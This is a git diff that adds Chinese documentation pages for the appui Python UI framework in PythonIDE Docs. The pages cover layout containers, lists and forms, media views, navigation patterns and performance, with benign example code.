+appui.run(body, state=state)
+
+

#常见误区

+
  1. on_long_presscontext_menu 都使用长按语义;同时启用时要实测是否冲突。
  2. .focused(key=..., equals=...)equals 应绑定到 State 中的当前字段名。
  3. simultaneous_gesturegesture 常用 'tap''long_press''magnification'
  4. high_priority_gesture 过度使用会导致子按钮点击失效。
  5. keyboard_dismiss 通常加在 ScrollView 或列表外层。
  6. 行级按钮要操作稳定 id,不要操作过滤后的下标。
+

#延伸阅读

+
  • 修饰符 API:查看手势、焦点和键盘相关修饰符签名。
  • 呈现 API:查看 sheet、alert、refresh、swipe action。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-layout/index.html b/docs/docs/pages/appui-guide-layout/index.html new file mode 100644 index 0000000..92f47fe --- /dev/null +++ b/docs/docs/pages/appui-guide-layout/index.html @@ -0,0 +1,550 @@ + + + + + + 布局系统 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

布局系统

+

用原生容器搭列表、表单、网格和可滚动页面。

+
+ +
+

appui 的布局优先用组合:Stack 负责方向,ScrollView 负责滚动,Grid 负责网格,frame/padding/background 负责局部尺寸和外观。列表和设置页优先使用系统容器,复杂视觉再用自定义布局。

+

#预期效果

+

示例会展示 Stack、ScrollView、Grid、Form 和 GeometryReader 在不同页面结构中的可见布局结果。

+

#容器速查

+
容器适合场景常用参数
VStack垂直排列spacing, alignment
HStack水平排列spacing, alignment
ZStack层叠覆盖alignment
ScrollView长内容和自定义滚动页axes, shows_indicators
LazyVStack / LazyHStack长列表自定义布局spacing, alignment
LazyVGrid / LazyHGrid卡片网格columns / rows, spacing
Grid / GridRow表格式二维布局行列组合
List原生动态列表Section, ForEach
Form设置页和编辑页Section
GeometryReader需要父容器尺寸on_change 或 geometry 回调
+

#Stack

+

Stack 解决 80% 的局部布局。用 VStack 组织纵向内容,用 HStack + Spacer 组织行。

+
+
+ python +
+
+
import appui
+
+state = appui.State(selected="Revenue")
+
+
+def select_revenue():
+    state.selected = "Revenue"
+
+
+def select_orders():
+    state.selected = "Orders"
+
+
+def card(title, value, action):
+    content = appui.VStack([
+        appui.Text(title).font("caption").foreground_color("secondaryLabel"),
+        appui.Text(value).font("title2").bold(),
+    ], alignment="leading", spacing=6)
+
+    return (
+        appui.Button(action=action, content=content)
+        .button_style("plain")
+        .padding(14)
+        .frame(max_width=appui.infinity, alignment="leading")
+        .background("secondarySystemBackground", corner_radius=12)
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Text("Dashboard").font("largeTitle").bold(),
+            appui.HStack([
+                card("Revenue", "$12.4k", select_revenue),
+                card("Orders", "284", select_orders),
+            ], spacing=12),
+            appui.ZStack([
+                appui.Rectangle().fill("systemBlue").frame(height=120).corner_radius(16),
+                appui.Text(f"Selected: {state.selected}").foreground_color("white").bold(),
+            ]),
+        ], alignment="leading", spacing=16)
+        .padding()
+        .navigation_title("Stack")
+    )
+
+
+appui.run(body, state=state)
+
+

只有 Stack 难以表达时,再使用 Grid 或 GeometryReader。

+

#ScrollView 与长内容

+

长列表优先用 List;需要完全自定义外观时再用 ScrollView + LazyVStack

+
+
+ python +
+
+
import appui
+
+state = appui.State(selected="None")
+
+
+def select_row(index):
+    state.selected = f"Item {index}"
+
+
+def row(index):
+    def select_current():
+        select_row(index)
+
+    return appui.Button(
+        action=select_current,
+        content=appui.HStack([
+            appui.Text(str(index))
+                .frame(width=36, height=36)
+                .background("systemBlue", corner_radius=18)
+                .foreground_color("white"),
+            appui.VStack([
+                appui.Text(f"Item {index}").bold(),
+                appui.Text("Subtitle").font("caption").foreground_color("secondaryLabel"),
+            ], alignment="leading"),
+            appui.Spacer(),
+        ], spacing=12).padding(vertical=6),
+    ).button_style("plain")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.ScrollView(
+            appui.LazyVStack([row(i) for i in range(1, 31)], spacing=8).padding(),
+            axes="vertical",
+        )
+        .safe_area_inset(
+            edge="bottom",
+            content=appui.Text(f"Selected: {state.selected}")
+                .padding()
+                .frame(max_width=appui.infinity, alignment="leading")
+                .background(material="regularMaterial"),
+        )
+        .navigation_title("ScrollView")
+    )
+
+
+appui.run(body, state=state)
+
+

底部操作条优先用 safe_area_inset,不要靠固定 offset 硬顶。

+

#Grid

+

两三列卡片用 LazyVGrid 最直接;需要严格行列对齐时用 Grid/GridRow

+
+
+ python +
+
+
import appui
+
+state = appui.State(selected="None")
+
+
+def select_tile(index):
+    state.selected = f"Card {index}"
+
+
+def tile(index):
+    def select_current():
+        select_tile(index)
+
+    content = appui.VStack([
+        appui.Image(system_name="square.grid.2x2").font("title2"),
+        appui.Text(f"Card {index}").font("caption"),
+    ], spacing=8)
+
+    return (
+        appui.Button(action=select_current, content=content)
+        .button_style("plain")
+        .frame(max_width=appui.infinity, min_height=92)
+        .background("secondarySystemBackground", corner_radius=12)
+    )
+
+
+def body():
+    columns = [appui.flexible(), appui.flexible()]
+    return appui.NavigationStack(
+        appui.ScrollView(
+            appui.VStack([
+                appui.LabeledContent("Selected", value=state.selected),
+                appui.LazyVGrid(
+                    columns=columns,
+                    spacing=12,
+                    content=[tile(i) for i in range(1, 9)],
+                ),
+            ], spacing=16).padding()
+        ).navigation_title("Grid")
+    )
+
+
+appui.run(body, state=state)
+
+

#List 和 Form

+

普通数据列表使用 List + Section + ForEach,设置和编辑页使用 Form + Section。这两个容器负责原生滚动、分组、键盘避让和辅助功能。

+
+
+ python +
+
+
import appui
+
+state = appui.State(query="", notifications=True)
+
+
+def set_query(value):
+    state.query = value
+
+
+def set_notifications(value):
+    state.notifications = value
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Search", [
+                appui.TextField("Query", text=state.query, on_change=set_query),
+            ]),
+            appui.Section("Preferences", [
+                appui.Toggle(
+                    "Notifications",
+                    is_on=state.notifications,
+                    on_change=set_notifications,
+                ),
+            ], footer=f"Query: {state.query or '-'}"),
+        ]).navigation_title("Form")
+    )
+
+
+appui.run(body, state=state)
+
+

不要把每个设置项包成自绘卡片,也不要把 List 放进 ScrollViewSection 里。

+

#frame、padding、background

+

常见顺序:

+
+
+ python +
+
+
(
+    view
+    .padding()
+    .frame(max_width=appui.infinity, alignment="leading")
+    .background("secondarySystemBackground")
+    .corner_radius(12)
+)
+
+
需求写法
占满宽度.frame(max_width=appui.infinity)
固定高度.frame(height=120)
左对齐.frame(max_width=appui.infinity, alignment="leading")
卡片内边距.padding() 放在 .background()
外边距.padding() 放在 .background()
+

#GeometryReader

+

只有在需要父容器尺寸时使用 GeometryReader.on_geometry(...)。不要把整页都包进 GeometryReader,它会改变布局提案,容易让子视图占满空间。

+
+
+ python +
+
+
def remember_size(info):
+    print(info["width"], info["height"])
+
+
+appui.GeometryReader(
+    content=appui.Text("Measure me"),
+    on_change=remember_size,
+)
+
+

#常见问题

+
问题检查
背景只包住文字.padding() 是否放在 .background() 前。
宽度没有撑开是否设置了 .frame(max_width=appui.infinity)
长内容滑不动是否外层使用 ScrollViewList
底部按钮挡住内容使用 safe_area_inset(edge="bottom")
网格宽度不均检查 appui.flexible() 列配置和 spacing。
列表不像原生是否用 ScrollView + VStack 模拟了动态列表。
+

#下一步

+ +
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-lists/index.html b/docs/docs/pages/appui-guide-lists/index.html new file mode 100644 index 0000000..b94c078 --- /dev/null +++ b/docs/docs/pages/appui-guide-lists/index.html @@ -0,0 +1,551 @@ + + + + + + 列表与表单 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

列表与表单

+

List、ForEach、Form、Section、搜索、刷新和滑动操作。

+
+ +
+

ListForm 是展示结构化数据的首选:List 适合可选中、滑动操作的行;Form 适合设置页分组。ForEach 把 Python 序列映射为多行视图;Section 提供分组标题与脚注。修饰符 .list_style.swipe_actions.refreshable.searchable 直接链在列表(或承载搜索的外层容器)上;若要显式包裹整行,也可使用 SwipeActions(content=..., leading=..., trailing=...)。当前框架不提供 List / ForEach 原生 on_delete 契约,删除动作请放在行级滑动按钮中。

+
+

#预期效果

+

示例会展示原生 List 的搜索、刷新、空状态、行操作和长列表承载方式。

+

#概念速览

+
能力API
列表List(content)
数据驱动行ForEach(data, row_builder, key=...)
表单Form(content)Section("标题", content)Section(content, header=...)
样式 / 交互.list_style(style).swipe_actions.refreshable(action).searchable(text, on_change)
行外观.list_row_background(color).list_row_separator(visibility)
+

#与 AppUI 的对应关系

+
  • List / Form 都是 纵向 容器;Form 默认呈现分组设置样式,但仍可用 Section 组织子控件。
  • ForEach 不是布局,它把 Python 可迭代对象 展开 为多个子视图,因此必须保证 row_builder(item) 每次返回一棵合法的 View 子树。
  • .searchable修饰符:搜索框属于页面的一部分,过滤逻辑仍由你在 body() 里用 State 完成(见进阶示例)。
  • State 对嵌套 list / dict 有深度观察;为减少多余刷新,批量修改请用 batch_update
+

#list_style 常用取值

+

automaticinsetinset_groupedgroupedplainsidebar。设置页多用 inset_grouped,侧边栏列表可用 sidebar

+
+

#基础示例

+

静态 Form + Section,以及一个简单的 List

+
+
+ python +
+
+
import appui
+
+state = appui.State(notify=True, note="")
+
+
+def set_note(value):
+    state.note = value
+
+
+def set_notify(value):
+    state.notify = value is True or value == "True" or value == "true"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form(
+            [
+                appui.Section(
+                    "账户",
+                    [
+                        appui.TextField(
+                            "备注",
+                            text=state.note,
+                            on_change=set_note,
+                        ).text_field_style("rounded_border"),
+                    ],
+                ),
+                appui.Section(
+                    "通知",
+                    [
+                        appui.Toggle(
+                            label="接收提醒",
+                            is_on=state.notify,
+                            on_change=set_notify,
+                        ),
+                    ],
+                    footer="关闭后仍保留本地数据。",
+                ),
+            ]
+        )
+        .navigation_title("表单示例")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#进阶示例

+

ForEach 动态行、.swipe_actions 删除、.searchable 过滤、.refreshable 下拉刷新、.list_style('inset_grouped'),以及 .list_row_background / .list_row_separator

+

下面示例刻意把 过滤逻辑 放在 body() 顶部函数 filtered_items() 中,而不是藏在内联回调深处,便于单元测试与复用;refreshable 仅更新提示字符串,避免阻塞 UI 线程。

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    items=["买牛奶", "写 appui 教程", "跑步三公里"],
+    query="",
+    refreshing_hint="",
+)
+
+
+def delete_item(name):
+    remaining = [x for x in state.items if x != name]
+    state.items = remaining
+
+
+def set_query(value):
+    state.query = value
+
+
+def refresh_list():
+    state.refreshing_hint = "已触发刷新回调(可在此拉取网络数据)"
+
+
+def item_key(item):
+    return item
+
+
+def row_view(item):
+    def delete_current():
+        delete_item(item)
+
+    return (
+        appui.Text(item)
+        .list_row_background("secondarySystemBackground")
+        .list_row_separator("hidden")
+        .swipe_actions(
+            edge="trailing",
+            content=[
+                appui.Button(
+                    "删除",
+                    role="destructive",
+                    action=delete_current,
+                )
+            ],
+        )
+    )
+
+
+def filtered_items():
+    q = state.query.strip().lower()
+    if not q:
+        return list(state.items)
+    return [x for x in state.items if q in x.lower()]
+
+
+def body():
+    rows = filtered_items()
+    return appui.NavigationStack(
+        appui.VStack(
+            [
+                appui.Text("在搜索框输入以过滤").font("caption").foreground_color("secondaryLabel"),
+                appui.List(
+                    [
+                        appui.ForEach(
+                            rows,
+                            row_builder=row_view,
+                            key=item_key,
+                        )
+                    ]
+                )
+                .searchable(
+                    text=state.query,
+                    on_change=set_query,
+                )
+                .refreshable(action=refresh_list)
+                .list_style("inset_grouped"),
+                appui.Text(state.refreshing_hint or "下拉列表以触发 refreshable")
+                    .font("footnote")
+                    .foreground_color("systemOrange"),
+            ],
+            spacing=8,
+        )
+        .padding()
+        .navigation_title("列表与搜索")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#常见误区

+
  1. ForEach 必须提供稳定 key:字符串列表可用命名函数返回字符串本身;对象列表应使用唯一 id,否则删除 / 重排时行状态会错乱。
  2. .searchable 修饰的是「承载列表的视图」:通常与 List 链在一起;搜索文本要存入 State 并在 body() 里用同一字段过滤数据。
  3. swipe_actions 挂在「行视图」上:如示例中对 Text(item) 链式调用;挂在 List 整表上不会给每行单独滑动按钮。
  4. 原地修改 state.items 列表state.items.remove(x) 若列表是普通 list 可能不会触发深度观察;推荐 state.items = new_listbatch_update(与 State 刷新规则一致)。
  5. Section 的参数顺序:推荐 Section("标题", [views], footer="...");需要关键字时再用 Section(content=[views], header="标题")。嵌套在 Form 中时务必传入 视图列表
  6. refreshable 的回调尽量短:下拉刷新结束后系统才会收起转圈;若在回调里做长时间阻塞,界面会看起来「卡住」。可在回调里只更新标志位,把重活放到线程(注意线程安全与 State 更新方式)。
  7. list_row_background 颜色与深色模式:硬编码 #F2F2F7 在深色模式下可能对比不佳;可改用语义色如 secondarySystemBackground
  8. 同一行不要同时依赖横向 on_drag 与滑删:系统滑动按钮与自定义水平拖拽共用手势通道;建议拆成不同交互区域或移除该行的滑动按钮。
+
+

#练习题

+
  1. List 改为 List + NavigationLink,每行进入只读详情页。
  2. swipe_actionsedge='leading' 侧增加「完成」按钮,并用 .tint('green') 区分颜色。
  3. appui.LabeledContentForm 最后一节展示当前过滤结果条数。
+
+

#附录:仅构建 List 树(不调用 run

+
+
+ python +
+
+
import appui
+
+data = ["a", "b"]
+
+
+def text_row(value):
+    return appui.Text(value)
+
+
+def text_key(value):
+    return value
+
+
+tree = appui.List(
+    [
+        appui.ForEach(
+            data,
+            row_builder=text_row,
+            key=text_key,
+        )
+    ]
+)
+print(tree)
+
+
+

#延伸阅读(仓库内)

+

完整页面可以组合 ForEachswipe_actionssearchablelist_style

+
+

#可选:LazyVStack 承载超长列表

+

当行数可能上千时,可将 ForEach 放进 ScrollView + LazyVStack,以减轻一次性构建整表的开销。入口写法见 appui 概览

+
+
+ python +
+
+
import appui
+
+state = appui.State(rows=list(range(60)))
+
+
+def lazy_row(value):
+    return appui.Text(f"第 {value} 行").padding(edges="horizontal")
+
+
+def lazy_key(value):
+    return value
+
+
+def body():
+    return appui.NavigationStack(
+        appui.ScrollView(
+            appui.LazyVStack(
+                [
+                    appui.ForEach(
+                        state.rows,
+                        row_builder=lazy_row,
+                        key=lazy_key,
+                    )
+                ],
+                spacing=6,
+            )
+        )
+        .navigation_title("懒加载列表示例")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#排错清单(自查)

+
现象可能原因处理方向
搜索框无反应on_change 未写回 State确保 setattr(state, 'query', v)
滑动无删除按钮swipe_actions 挂在 List移到行视图
误以为支持原生删除直接寻找 on_delete / .onDelete改用行级 .swipe_actions(...)SwipeActions(...)
同一行横向拖拽失效该行同时配置了 on_dragswipe_actions保留其一,或把拖拽手势移到子区域
下拉不触发refreshable 未链到可滚动父级List / ScrollView 链式连接
过滤结果不刷新filtered 未依赖 state把过滤函数放在 body() 内读取最新 state
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-media/index.html b/docs/docs/pages/appui-guide-media/index.html new file mode 100644 index 0000000..d875278 --- /dev/null +++ b/docs/docs/pages/appui-guide-media/index.html @@ -0,0 +1,587 @@ + + + + + + 媒体 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

媒体

+

图片、相册、相机、地图、视频和 WebView 的页面模式。

+
+ +
+

appui 中与图片、相册、相机、文件导入、视频、网页与地图相关的视图。下列示例均可在应用内 AppUI 预览环境运行。

+

#预期效果

+

示例会展示图片、网络图、相册、文件、相机、视频、网页和地图控件如何嵌入 AppUI 页面。

+

#设计原则

+
  • 资源图Image(name=...)SF SymbolsImage(system_name=...)
  • 网络图AsyncImage,占位与失败视图通过子视图传入。
  • 相册 / 相机返回的是设备上的文件路径字符串(由系统写入临时目录后回调)。
  • Files App / 文档提供方FileImporter,默认复制到 App 可访问位置后返回路径列表。
  • WebView 只能二选一:urlhtml
  • MapViewmarkers 为字典列表,键包括 latitudelongitudetitle
+
+

#Image:本地资源与 SF Symbol

+

Image 支持链式修饰:resizable()aspect_ratio(ratio, content_mode)symbol_rendering_mode(mode)image_scale(scale)

+
+
+ python +
+
+
import appui
+
+state = appui.State(kind="SF Symbol")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Text(state.kind).font("headline"),
+            appui.Image(system_name="star.fill")
+                .resizable()
+                .aspect_ratio(content_mode="fit")
+                .symbol_rendering_mode("palette")
+                .image_scale("large")
+                .frame(width=56, height=56)
+                .foreground_color("systemYellow"),
+            appui.Label("设置", system_image="gear"),
+        ], spacing=16).padding()
+        .navigation_title("Image")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

content_mode'fit''fill'symbol_rendering_mode 常用:'hierarchical''palette''multicolor'(未识别时回退为单色)。

+

image_scale'small''medium'(默认)、'large'

+
+

#AsyncImage:网络图片

+

参数:urlplaceholdererror_viewcontent_modeon_successon_failure。占位与错误视图为子节点(前两个子视图依次为占位、错误)。

+
+
+ python +
+
+
import appui
+
+state = appui.State(status="等待加载")
+
+
+def image_loaded():
+    state.status = "图片已加载"
+
+
+def image_failed():
+    state.status = "图片加载失败"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.AsyncImage(
+                url="https://www.apple.com/ac/structured-data/images/knowledge_graph_logo.png",
+                placeholder=appui.ProgressView(label="Loading"),
+                error_view=appui.Image(system_name="exclamationmark.triangle"),
+                content_mode="fit",
+                on_success=image_loaded,
+                on_failure=image_failed,
+            ).frame(height=120),
+            appui.LabeledContent("状态", value=state.status),
+        ], spacing=16).padding()
+        .navigation_title("AsyncImage")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+
+

#PhotoPicker:相册

+

selection_limit1 表示单选;0 表示不限制(以系统行为为准)。filter'images''videos''all'on_picked 收到 路径列表

+
+
+ python +
+
+
import appui
+
+state = appui.State(paths=[])
+
+
+def on_picked(paths):
+    state.paths = paths or []
+
+
+def body():
+    return appui.VStack([
+        appui.Text("已选: " + (" | ".join(state.paths) if state.paths else "无")).font("caption"),
+        appui.PhotoPicker(
+            selection_limit=1,
+            filter="images",
+            on_picked=on_picked,
+            label=appui.Label("选择照片", system_image="photo.on.rectangle"),
+        ),
+    ], spacing=12).padding()
+
+appui.run(body, state=state, presentation="sheet")
+
+
+

#FileImporter:文件导入

+

allowed_types 可传类型名、扩展名或 MIME 类型,例如 'text''pdf''csv''image/png'allows_multiple=True 允许多选。copy=True 是默认值,表示先复制进 App 可访问位置,再把路径列表传给 on_picked

+
+
+ python +
+
+
import appui
+
+state = appui.State(files=[])
+
+
+def on_files(paths):
+    state.files = paths or []
+
+
+def body():
+    rows = [
+        appui.Text(path).font("caption").line_limit(1)
+        for path in state.files
+    ]
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("导入", [
+                appui.FileImporter(
+                    allowed_types=["text", "pdf", "csv"],
+                    allows_multiple=True,
+                    on_picked=on_files,
+                    label=appui.Label("选择文件", system_image="doc.badge.plus"),
+                ),
+            ]),
+            appui.Section("文件", rows or [
+                appui.ContentUnavailableView("暂无文件", system_image="doc", description="从系统文件选择器导入")
+            ]),
+        ]).navigation_title("文件导入")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

文件选择由系统界面完成;用户取消时通常不会触发有效路径。需要读取文件内容时,在回调里保存路径,再在按钮动作、刷新函数或后台流程中读取,避免在 body() 里同步读大文件。

+
+

#CameraPicker:相机

+

source'camera''front'media_type'photo''video'on_captured 收到单个路径字符串

+
+
+ python +
+
+
import appui
+
+state = appui.State(last="")
+
+
+def on_captured(path):
+    state.last = path or ""
+
+
+def body():
+    return appui.VStack([
+        appui.Text(state.last or "尚未拍摄").font("caption"),
+        appui.CameraPicker(
+            source="camera",
+            media_type="photo",
+            on_captured=on_captured,
+            label=appui.Label("拍照", system_image="camera.fill"),
+        ),
+    ], spacing=12).padding()
+
+appui.run(body, state=state, presentation="sheet")
+
+
+

#VideoPlayer:AVKit

+

url 可为远程 HTTPS 或应用内可访问的本地文件名。autoplayloopshow_controls 控制播放行为。

+

只展示视频时直接用 VideoPlayer(url=...)。如果页面需要播放/暂停/seek、保存进度、倍速、PiP 状态或切集,使用 PlayerController 并传给 VideoPlayer(player=player);AppUI 新页面不要再 import avplayer 控制同一块内嵌视频。

+
+
+ python +
+
+
import appui
+
+state = appui.State(status="可播放")
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.VideoPlayer(
+                url="https://media.w3.org/2010/05/sintel/trailer.mp4",
+                autoplay=False,
+                loop=False,
+                show_controls=True,
+            ).frame(height=220),
+            appui.LabeledContent("状态", value=state.status),
+        ], spacing=16).padding()
+        .navigation_title("VideoPlayer")
+    )
+
+appui.run(body, state=state, presentation="sheet")
+
+
+

#WebView:URL 或 HTML

+
+
+ python +
+
+
import appui
+
+state = appui.State()
+
+def body():
+    return appui.WebView(
+        html="<html><body style='font-family:system-ui'><h1>appui</h1><p>内嵌 HTML</p></body></html>"
+    ).frame(height=360).padding()
+
+appui.run(body, state=state, presentation="sheet")
+
+

远程页面示例:appui.WebView(url="https://www.apple.com").frame(height=360)

+
+

#MapView:地图与标注

+

默认中心为旧金山坐标。span 为经纬跨度。map_style 可为 'automatic'(默认,不传样式)、'standard''satellite''hybrid'

+
+
+ python +
+
+
import appui
+
+state = appui.State()
+
+def body():
+    return appui.MapView(
+        latitude=37.7749,
+        longitude=-122.4194,
+        span=0.08,
+        markers=[
+            {"latitude": 37.78, "longitude": -122.40, "title": "标记 A"},
+        ],
+        map_style="standard",
+    ).frame(height=280).padding()
+
+appui.run(body, state=state, presentation="sheet")
+
+
+

#与旧版 ui 模块对照(迁移)

+

ui 为 Pythonista 风格命令式 API;同一应用内可对照理解差异:

+
+
+ python +
+
+
import ui
+
+v = ui.View()
+b = ui.Button(title="Go")
+
+
+def on_button(sender):
+    pass
+
+
+b.action = on_button
+v.add_subview(b)
+# v.present('sheet')  # 需在 AppUI 预览环境中调用
+
+

appui 用声明式 body() 返回 View,由 appui.run(body, state=..., presentation="sheet") 呈现。

+
+

#小结

+
视图典型用途
Image资源图、SF Symbol、缩放与宽高比
AsyncImage网络图片与阶段 UI
PhotoPicker / CameraPicker系统相册与相机,路径回调
FileImporter系统文件选择器,路径列表回调
VideoPlayer流媒体或本地视频
WebViewurlhtml 嵌入网页
MapView坐标、跨度、标注与样式
+

更完整的参数说明见同目录下的 appui-ref-media.md

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-navigation/index.html b/docs/docs/pages/appui-guide-navigation/index.html new file mode 100644 index 0000000..bca5aef --- /dev/null +++ b/docs/docs/pages/appui-guide-navigation/index.html @@ -0,0 +1,554 @@ + + + + + + 导航与页面结构 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

导航与页面结构

+

TabView、NavigationStack、NavigationLink 和 toolbar 的组合方式。

+
+ +
+

导航的目标是让页面关系清楚:栈式跳转用 NavigationStack,多 tab 用 TabView,iPad 双栏用 NavigationSplitView,临时任务用 sheet / alert / popover。

+

#预期效果

+

示例会展示固定跳转、数据驱动导航、Tab、sheet 和 alert 的页面层级。

+

#选择表

+
需求API
页面逐层进入、支持返回NavigationStack
固定列表进入详情NavigationLink
通过数据驱动跳转NavigationPath + destinations
底部标签页TabView / Tab
iPad / Mac 侧栏 + 详情NavigationSplitView
临时编辑页.sheet(...)
强制流程.full_screen_cover(...)
确认、错误、危险操作.alert(...) / .confirmation_dialog(...)
小浮层.popover(...)
+ +

最小写法是给根内容包一层 NavigationStack,再在子页面里设置标题。

+
+
+ python +
+
+
import appui
+
+state = appui.State(last_opened="None")
+
+
+def mark_opened(title):
+    state.last_opened = title
+
+
+def settings_page():
+    def open_settings():
+        mark_opened("设置")
+
+    return appui.Form([
+        appui.Section("设置", [
+            appui.Text("这里是详情内容"),
+            appui.Button("记录打开", action=open_settings),
+        ]),
+        appui.Section("状态", [
+            appui.LabeledContent("Last opened", value=state.last_opened),
+        ]),
+    ]).navigation_title("设置")
+
+
+def about_page():
+    return appui.Text("实时快路径 appui").padding().navigation_title("关于")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.NavigationLink(title="设置", destination=settings_page()),
+            appui.NavigationLink(title="关于", destination=about_page()),
+        ]).navigation_title("首页")
+    )
+
+
+appui.run(body, state=state)
+
+

固定页面跳转用 NavigationLink;动态路由用 NavigationPath

+ +

NavigationPath 适合“从按钮打开指定页面”“根据 tag 和 data 打开详情”等数据驱动场景。

+
+
+ python +
+
+
import appui
+
+path = appui.NavigationPath()
+state = appui.State(opened="None")
+
+
+def open_settings():
+    path.append({"tag": "settings", "data": None})
+
+
+def open_user():
+    path.append({"tag": "user", "data": 42})
+
+
+def go_back():
+    path.pop()
+
+
+def go_home():
+    path.pop_to_root()
+
+
+def settings_destination(data):
+    return appui.VStack([
+        appui.Text("设置").font("title2"),
+        appui.Button("返回", action=go_back),
+    ], spacing=12).padding().navigation_title("设置")
+
+
+def user_destination(user_id):
+    return appui.VStack([
+        appui.Text(f"用户 {user_id}").font("title2"),
+        appui.Button("返回首页", action=go_home),
+    ], spacing=12).padding().navigation_title("用户")
+
+
+def body():
+    return appui.NavigationStack(
+        content=appui.VStack([
+            appui.Text("首页").font("title2"),
+            appui.Button("打开设置", action=open_settings).button_style("bordered"),
+            appui.Button("打开用户 42", action=open_user).button_style("bordered_prominent"),
+        ], spacing=16).padding().navigation_title("示例"),
+        path=path,
+        destinations={
+            "settings": settings_destination,
+            "user": user_destination,
+        },
+    )
+
+
+appui.run(body, state=state)
+
+

path.append({"tag": "...", "data": ...})tag 用来找目标构建函数,data 会传给目标函数。

+

#TabView

+

Tab 适合并列的顶层区域,不要用来承载一次性流程。每个 tab 中如果还需要进入详情,再单独放自己的 NavigationStack

+
+
+ python +
+
+
import appui
+
+state = appui.State(selection=0)
+
+
+def set_selection(value):
+    state.selection = value
+
+
+def home_view():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("Home", [
+                appui.Text("Home content")
+            ])
+        ]).navigation_title("首页")
+    )
+
+
+def settings_view():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Settings", [
+                appui.LabeledContent("Selected tab", value=str(state.selection))
+            ])
+        ]).navigation_title("设置")
+    )
+
+
+def body():
+    return appui.TabView(
+        selection=state.selection,
+        on_change=set_selection,
+        tabs=[
+            appui.Tab("首页", system_image="house", tag=0, content=home_view()),
+            appui.Tab("设置", system_image="gearshape", tag=1, content=settings_view()),
+        ],
+    )
+
+
+appui.run(body, state=state)
+
+

#Sheet、Alert、ConfirmationDialog

+

弹层用状态控制显示和关闭。复杂 sheet 内容抽成命名函数。

+
+
+ python +
+
+
import appui
+
+state = appui.State(show_sheet=False, show_alert=False, name="")
+
+
+def set_name(value):
+    state.name = value
+
+
+def open_sheet():
+    state.show_sheet = True
+
+
+def close_sheet():
+    state.show_sheet = False
+
+
+def open_alert():
+    state.show_alert = True
+
+
+def close_alert():
+    state.show_alert = False
+
+
+def editor_sheet():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("编辑", [
+                appui.TextField("名称", text=state.name, on_change=set_name),
+                appui.Button("完成", action=close_sheet).button_style("bordered_prominent"),
+            ])
+        ]).navigation_title("编辑")
+    )
+
+
+def body():
+    root = (
+        appui.VStack([
+            appui.Button("编辑", action=open_sheet).button_style("bordered"),
+            appui.Button("删除", action=open_alert)
+                .foreground_color("systemRed"),
+        ], spacing=16)
+        .padding()
+        .sheet(is_presented=state.show_sheet, on_dismiss=close_sheet, content=editor_sheet)
+        .alert(
+            "确认删除?",
+            is_presented=state.show_alert,
+            on_dismiss=close_alert,
+            actions=[
+                appui.Button("取消", role="cancel", action=close_alert),
+                appui.Button("删除", role="destructive", action=close_alert),
+            ],
+            message="删除后无法恢复。",
+        )
+    )
+    return appui.NavigationStack(root.navigation_title("呈现"))
+
+
+appui.run(body, state=state)
+
+

普通编辑用 sheet,破坏性操作先 alert 或 confirmation dialog。

+ +

NavigationSplitView 适合大屏。窄屏上系统会自动退化为栈式体验。

+
+
+ python +
+
+
appui.NavigationSplitView(
+    sidebar=appui.List([...]).navigation_title("项目"),
+    detail=appui.Text("选择一个项目").navigation_title("详情"),
+)
+
+

如果目标设备主要是 iPhone,不要为了“看起来高级”强行使用 SplitView。

+

#常见问题

+
问题处理
页面没有标题在内容 View 上加 .navigation_title(...)
返回后状态丢失把状态放在外层 State,不要在目标页面函数里重新创建。
destinations 回调报参数错回调写成接收 data 的命名函数。
sheet 点了没反应确认 is_presented 读取的是状态字段,关闭时会把字段改回 False
Tab 和导航栈混乱Tab 做顶层分区,Stack 做分区内跳转。
工具栏图标按钮报错Button 的图标放在 content=Image(...)content=Label(...)
+

#下一步

+ +
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-performance/index.html b/docs/docs/pages/appui-guide-performance/index.html new file mode 100644 index 0000000..871b2d6 --- /dev/null +++ b/docs/docs/pages/appui-guide-performance/index.html @@ -0,0 +1,531 @@ + + + + + + 性能与实时界面 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

性能与实时界面

+

普通 State、Timer、ReactiveState 和实时快路径的选择。

+
+ +
+

appui 的性能优化优先从界面结构、状态粒度和后台任务开始。大多数页面不需要特殊技巧,只要避免在 body() 里做重活,就能保持流畅。如果页面有高频属性更新,再看 实时快路径

+

